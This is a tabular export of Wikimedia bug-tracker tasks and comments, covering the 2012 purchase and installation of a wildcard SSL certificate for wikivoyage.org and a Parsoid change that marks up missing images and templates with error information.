",Medium,50.0,1349980912,1418860800.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,False,PHID-TASK-m53b2xsrujdho6bhwk5n,task_description,resolved,True,c2,1,True,False,False,-46,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,19.0,4.0,0.0,10.0,6.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.6582278481012658,0.569620253164557,"%%%it is 99.5% certain we will use this domain. we have already talked to the%%%
%%%current owner about the domain transfer and they will visit us here at the%%%
%%%office next week.%%%
%%%we will need a *.wikivoyage.org SSL cert and we will need it relatively quick%%%
%%%given the current schedule to start with the wikivoyage project%%%
"
365738,SSL cert for wikivoyage.org,//Status changed from 'open' to 'resolved' by dzahn//,,,1352346643,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.75,//Status changed from 'open' to 'resolved' by dzahn//
365729,SSL cert for wikivoyage.org,Dependency by ticket #3881 added by dzahn,,,1352315266,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,0.875,Dependency by ticket #3881 added by dzahn
365719,SSL cert for wikivoyage.org,"%%%https://gerrit.wikimedia.org/r/#/c/32240/%%%
%%%and key added to private repo.%%%
%%%but we still have an issue with the wikipedia (not wikivoyage) cert we need to%%%
%%%look at%%%",,,1352315162,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,True,,,-42,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,2.0,27.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.975609756097561,0.6585365853658537,"%%%URL
%%%and key added to private repo.%%%
%%%but we still have an issue with the wikipedia (not wikivoyage) cert we need to%%%
%%%look at%%%"
365709,SSL cert for wikivoyage.org,"%%%On Wed Nov 07 15:36:18 2012, robh wrote:%%%
> tridge:/data/ssl_certs/wildcards/
>
%%%Thanks Rob! Looks good%%%
%%%Certificate:%%%
%%%Data:%%%
%%%Version: 3 (0x2)%%%
%%%Serial Number:%%%
%%%07:74:7e:30:df:75:35:04:7a:ec:b5:5a:f4:e5:3a:66%%%
%%%Signature Algorithm: sha1WithRSAEncryption%%%
%%%Issuer: C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert High Assurance%%%
%%%CA-3%%%
%%%Validity%%%
%%%Not Before: Nov 7 00:00:00 2012 GMT%%%
%%%Not After : Nov 12 12:00:00 2015 GMT%%%
%%%Subject: C=US, ST=California, L=San Francisco, O=Wikimedia Foundation, Inc.,%%%
%%%CN=*.wikivoyage.org%%%
%%%...%%%
%%%X509v3 Subject Alternative Name:%%%
%%%DNS:*.wikivoyage.org, DNS:wikivoyage.org, DNS:m.wikivoyage.org,%%%
%%%DNS:*.m.wikivoyage.org%%%
%%%(includes .m.)%%%",,,1352310290,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,7.333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.333333333333332,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,24.333333333333332,3.6666666666666665,0.0,0.3333333333333333,0.6666666666666666,17.666666666666668,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.3823529411764706,0.4705882352941176,"%%%On Wed Nov 07 15:36:18 2012, robh wrote:%%%
QUOTE
QUOTE
%%%Thanks Rob! Looks good%%%
%%%Certificate:%%%
%%%Data:%%%
%%%Version: 3 (0x2)%%%
%%%Serial Number:%%%
%%%07:74:7e:30:df:75:35:04:7a:ec:b5:5a:f4:e5:3a:66%%%
%%%Signature Algorithm: sha1WithRSAEncryption%%%
%%%Issuer: C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert High Assurance%%%
%%%CA-3%%%
%%%Validity%%%
%%%Not Before: Nov 7 00:00:00 2012 GMT%%%
%%%Not After : Nov 12 12:00:00 2015 GMT%%%
%%%Subject: C=US, ST=California, L=San Francisco, O=Wikimedia Foundation, Inc.,%%%
%%%CN=*.wikivoyage.org%%%
%%%...%%%
%%%X509v3 Subject Alternative Name:%%%
%%%DNS:*.wikivoyage.org, DNS:wikivoyage.org, DNS:m.wikivoyage.org,%%%
%%%DNS:*.m.wikivoyage.org%%%
%%%(includes .m.)%%%"
365699,SSL cert for wikivoyage.org,//Stolen from robh by dzahn//,,,1352309734,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,//Stolen from robh by dzahn//
365689,SSL cert for wikivoyage.org,"%%%tridge:/data/ssl_certs/wildcards/%%%
%%%There are now three files, wikivoyage.org key, csr, and crt. CRT is of course%%%
%%%the certificate, and key the private key file.%%%
%%%--%%%
%%%Rob Halsell%%%
%%%Operations Engineer%%%
%%%Wikimedia Foundation, Inc.%%%
%%%E-Mail: <rhalsell at wikimedia>%%%",,,1352302578,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,False,,,-42,True,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,31.0,2.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.4125,0.525,"%%%tridge:/data/ssl_certs/wildcards/%%%
%%%There are now three files, wikivoyage.org key, csr, and crt. CRT is of course%%%
%%%the certificate, and key the private key file.%%%
%%%--%%%
%%%Rob Halsell%%%
%%%Operations Engineer%%%
%%%Wikimedia Foundation, Inc.%%%
%%%E-Mail: <rhalsell at wikimedia>%%%"
365681,SSL cert for wikivoyage.org,"%%%Cert request is submitted, awaiting Digicert to modify it to accept SANS and%%%
%%%the like. This is something they have to do manually, but normally is done%%%
%%%within an hour or two.%%%
%%%--%%%
%%%Rob Halsell%%%
%%%Operations Engineer%%%
%%%Wikimedia Foundation, Inc.%%%
%%%E-Mail: <rhalsell at wikimedia>%%%",,,1352299304,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,False,,,-42,True,0.0,1.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,16.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,5.0,30.0,0.0,0.0,2.0,7.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,3.3734939759036147,0.5783132530120482,"%%%Cert request is submitted, awaiting Digicert to modify it to accept SANS and%%%
%%%the like. This is something they have to do manually, but normally is done%%%
%%%within an hour or two.%%%
%%%--%%%
%%%Rob Halsell%%%
%%%Operations Engineer%%%
%%%Wikimedia Foundation, Inc.%%%
%%%E-Mail: <rhalsell at wikimedia>%%%"
365675,SSL cert for wikivoyage.org,"%%%Just a reminder that we ideally need this in the next 24-48 hours as we intend%%%
%%%to go live with the site very soon.%%%
%%%Thanks much,%%%
%%%Erik%%%",,,1352275398,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,False,,,-42,True,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,27.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.022727272727273,0.6590909090909091,"%%%Just a reminder that we ideally need this in the next 24-48 hours as we intend%%%
%%%to go live with the site very soon.%%%
%%%Thanks much,%%%
%%%Erik%%%"
365666,SSL cert for wikivoyage.org,//Given to robh by wooster//,,,1352223114,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,False,,,-43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8,1.0,//Given to robh by wooster//
365656,SSL cert for wikivoyage.org,//Status changed from 'new' to 'open' by RT_System//,,,1352223114,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,False,,,-43,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.75,//Status changed from 'new' to 'open' by RT_System//
365646,SSL cert for wikivoyage.org,"`wooster  wrote:`

%%%On Thu Oct 11 18:41:52 2012, dzahn wrote:%%%
> it is 99.5% certain we will use this domain. we have already talked to
> the
> current owner about the domain transfer and they will visit us here at
> the
> office next week.
>
> we will need a *.wikivoyage.org SSL cert and we will need it
> relatively quick
> given the current schedule to start with the wikivoyage project
%%%Rob,%%%
%%%Pls proceed with the purchase with DigiCert for *.wikivoyage.org and SAN for%%%
%%%*.m.wikivoyage.org.%%%
%%%The domain has been transferred over to us now.%%%
%%%Thks%%%
%%%CT%%%",,,1352223113,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,False,,,-43,True,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,24.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,27.0,6.0,0.0,1.0,7.0,17.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.3132530120481927,0.46987951807228917,"CODE

%%%On Thu Oct 11 18:41:52 2012, dzahn wrote:%%%
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
%%%Rob,%%%
%%%Pls proceed with the purchase with DigiCert for *.wikivoyage.org and SAN for%%%
%%%*.m.wikivoyage.org.%%%
%%%The domain has been transferred over to us now.%%%
%%%Thks%%%
%%%CT%%%"
365637,SSL cert for wikivoyage.org,Dependency by ticket #3750 added by dzahn,,,1350606596,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,0.875,Dependency by ticket #3750 added by dzahn
365629,SSL cert for wikivoyage.org,Dependency on ticket #3697 added by dzahn,,,1349986823,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-m53b2xsrujdho6bhwk5n,task_subcomment,,True,c2,1,True,,,-46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,Dependency on ticket #3697 added by dzahn
50900,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Image patch (https://gerrit.wikimedia.org/r/#/c/57817/) is missing error handling when the mw API is queried to get information about an image.

Two kind of errors that handleResponse in LinkHandler.js has to deal with:

(1) API error: Given that ApiRequest retries, an api error is an indication that the api may be temporarily down or that something else is wrong.  So, rather than continue, it is better to abort processing and return an error code to the clients so they can handle it however they want (ex: ve might tell the user that the page cannot be edited right now because of api/server issues).  This will require calling the error callback found in env.

(2) Image missing: If the api comes back and tells us that the image is missing, we should handle this similar to how the PHP parser does it for missing images.
- Maybe link to a special page/url that will let VE present an upload handler (check with VE folks as to what this url could be.  PHP parser behavior can be found by editing a page on wikipedia sandbox with a non-existent image)
- Dont add a thumb.
- Add a special rdf type on the image/wrapper tag: mw:Image/Missing maybe?

EDIT: These properties should apply to missing templates as well.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1369760400,1487999636.0,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-mmm6poefxi4xoohquyi4,task_description,resolved,True,c2,1,True,False,False,-14,True,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,3.6666666666666665,1.0,0.3333333333333333,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,5.666666666666667,10.333333333333334,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,2.0,0.6666666666666666,0.3333333333333333,4.333333333333333,1.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,18.666666666666668,0.3333333333333333,2.3333333333333335,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,6.666666666666667,3.3333333333333335,8.666666666666666,3.0,1.0,8.0,0.0,0.0,0.0,0.0,6.666666666666667,0.0,0.6666666666666666,0.0,2.3333333333333335,10.333333333333334,2.0,0.3333333333333333,0.0,0.0,2.3333333333333335,0.0,2.0,3.3333333333333335,0.3333333333333333,2.6666666666666665,0.3333333333333333,0.0,0.6666666666666666,3.7163120567375887,0.7340425531914893,"Image patch (URL is missing error handling when the mw API is queried to get information about an image.

Two kind of errors that handleResponse in LinkHandler.js has to deal with:

(1) API error: Given that ApiRequest retries, an api error is an indication that the api may be temporarily down or that something else is wrong.  So, rather than continue, it is better to abort processing and return an error code to the clients so they can handle it however they want (ex: ve might tell the user that the page cannot be edited right now because of api/server issues).  This will require calling the error callback found in env.

(2) Image missing: If the api comes back and tells us that the image is missing, we should handle this similar to how the PHP parser does it for missing images.
- Maybe link to a special page/url that will let VE present an upload handler (check with VE folks as to what this url could be.  PHP parser behavior can be found by editing a page on wikipedia sandbox with a non-existent image)
- Dont add a thumb.
- Add a special rdf type on the image/wrapper tag: mw:Image/Missing maybe?

EDIT: These properties should apply to missing templates as well.

--------------------------
**Version**: unspecified
**Severity**: normal"
815613,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 339689 merged by jenkins-bot:
T50900: Set mw:Error and provide error info in data-mw for ext/tpl

[[https://gerrit.wikimedia.org/r/339689]]",,,1487999288,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,False,,,182,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.1818181818181817,0.8181818181818182,"Change 339689 merged by jenkins-bot:
T50900: Set mw:Error and provide error info in data-mw for ext/tpl

[[GERRIT_URL]]"
815429,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 339689 had a related patch set uploaded (by Arlolra):
T50900: Set mw:Error and provide error info in data-mw for ext/tpl

[[https://gerrit.wikimedia.org/r/339689]]
",,,1487969442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,False,,,182,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,3.289473684210526,0.868421052631579,"Change 339689 had a related patch set uploaded (by Arlolra):
T50900: Set mw:Error and provide error info in data-mw for ext/tpl

[[GERRIT_URL]]
"
509627,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"According to comments in ext.core.TemplateHandler.js, the data-mw update was supposed to apply to missing templates as well.  Re-opening and retitling to reflect work remaining, since there are already references in the source code to this bug #.",,,1439831900,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,False,,,102,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,20.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,4.0,2.0,2.0,7.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.565217391304348,0.8043478260869565,"According to comments in ext.core.TemplateHandler.js, the data-mw update was supposed to apply to missing templates as well.  Re-opening and retitling to reflect work remaining, since there are already references in the source code to this bug #."
343581,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,This has been deployed.,,,1418855804,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,True,,,68,True,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,This has been deployed.
339921,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 170455 merged by jenkins-bot:
T50900: Add mw:Error   error info to data-mw for missing imgs

[[https://gerrit.wikimedia.org/r/170455]]",,,1418149485,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c2,3,False,,,66,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.2580645161290325,0.8064516129032258,"Change 170455 merged by jenkins-bot:
T50900: Add mw:Error   error info to data-mw for missing imgs

[[GERRIT_URL]]"
336370,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 170455 had a related patch set uploaded (by Subramanya Sastry):
T50900: Add mw:Error   error info to data-mw for missing imgs

[[https://gerrit.wikimedia.org/r/170455]]

